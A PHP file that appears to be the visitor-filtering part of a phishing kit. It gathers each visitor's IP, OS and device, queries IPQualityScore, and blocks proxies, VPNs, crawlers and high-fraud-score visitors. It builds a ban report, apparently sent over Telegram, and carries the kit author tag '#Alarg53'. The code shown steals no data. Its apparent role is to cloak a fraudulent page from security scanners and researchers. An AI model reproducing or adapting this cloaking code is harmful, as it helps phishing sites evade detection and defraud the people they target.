<?php
if (session_status() == PHP_SESSION_NONE) {
    session_start();
}

include_once 'settings.php';
include_once 'Telegram.php';
include_once 'Telegram2.php';

function getClientIP() {
    $ipaddress = '';

    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
    } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $ipaddress = $_SERVER['HTTP_FORWARDED'];
    } elseif (isset($_SERVER['REMOTE_ADDR'])) {
        $ipaddress = $_SERVER['REMOTE_ADDR'];
    } else {
        $ipaddress = 'UNKNOWN';
    }

    return $ipaddress;
}

// Define getOS function
function getOS() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];

    $osArray = [
        '/windows/i'            => 'Windows',
        '/windows nt 10/i'      => 'Windows 10',
        '/windows nt 6.3/i'     => 'Windows 8.1',
        '/windows nt 6.2/i'     => 'Windows 8',
        '/windows nt 6.1/i'     => 'Windows 7',
        '/windows nt 6.0/i'     => 'Windows Vista',
        '/windows nt 5.2/i'     => 'Windows Server 2003/XP x64',
        '/windows nt 5.1/i'     => 'Windows XP',
        '/windows xp/i'         => 'Windows XP',
        '/windows nt 5.0/i'     => 'Windows 2000',
        '/windows me/i'         => 'Windows ME',
        '/win98/i'              => 'Windows 98',
        '/win95/i'              => 'Windows 95',
        '/win16/i'              => 'Windows 3.11',
    ];

    foreach ($osArray as $regex => $value) {
        if (preg_match($regex, $userAgent)) {
            return $value;
        }
    }

    return 'Unknown';
}

function getDeviceType($userAgent) {
    $deviceTypes = array(
        'Windows' => 'Windows Desktop',
        'Mac' => 'Mac Desktop',
        'iPhone' => 'iPhone',
        'iPad' => 'iPad',
        'Android' => 'Android Device',
        'Linux' => 'Linux Desktop',
        'Bot' => 'Bot',
        'Other' => 'Unknown Device'
    );

    foreach ($deviceTypes as $key => $value) {
        if (stripos($userAgent, $key) !== false) {
            return $value;
        }
    }

    return $deviceTypes['Other'];
}

// #Alarg53
function isBot($ip, $userAgent, &$data, &$banReason) {
    global $telegramSettings, $securitySettings, $fileSettings;

    $api_key = $telegramSettings['api_key'];
    $url = "https://www.ipqualityscore.com/api/json/ip/{$api_key}/{$ip}?strictness=0&allow_public_access_points=true&fast=true&lighter_penalties=true&mobile=true";

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $response = curl_exec($ch);

    if ($response === FALSE) {
        error_log("cURL error: " . curl_error($ch));
        curl_close($ch);
        return false;
    }

    curl_close($ch);

    $data = json_decode($response, true);

    if ($data === null || !isset($data["fraud_score"])) {
        error_log("Error decoding JSON or missing fraud_score");
        return false;
    }

    $website_url = $telegramSettings['website_url'];
    $isProxy = $data["proxy"];
    $isVPN = $data["vpn"];
    $isCrawler = $data["is_crawler"];

    if ($isProxy || $isVPN || $isCrawler || $data["fraud_score"] >= $securitySettings['fraud_score_threshold']) {
        if ($isProxy || $isVPN) {
            $banReason = "Access denied due to bot, proxy, or VPN.";
        } elseif ($isCrawler) {
            $banReason = "Access denied due to web crawler.";
        } elseif ($data["fraud_score"] >= $securitySettings['fraud_score_threshold']) {
            $banReason = "Access denied due to high fraud score.";
        }

        // #Alarg53
        $banReason .= "\nBrowser: $userAgent";
        $banReason .= "\nDevice Type: " . getDeviceType($userAgent);
        $banReason .= "\nWebsite:: " . $website_url;

        return true;
    }

    return false;
}
?>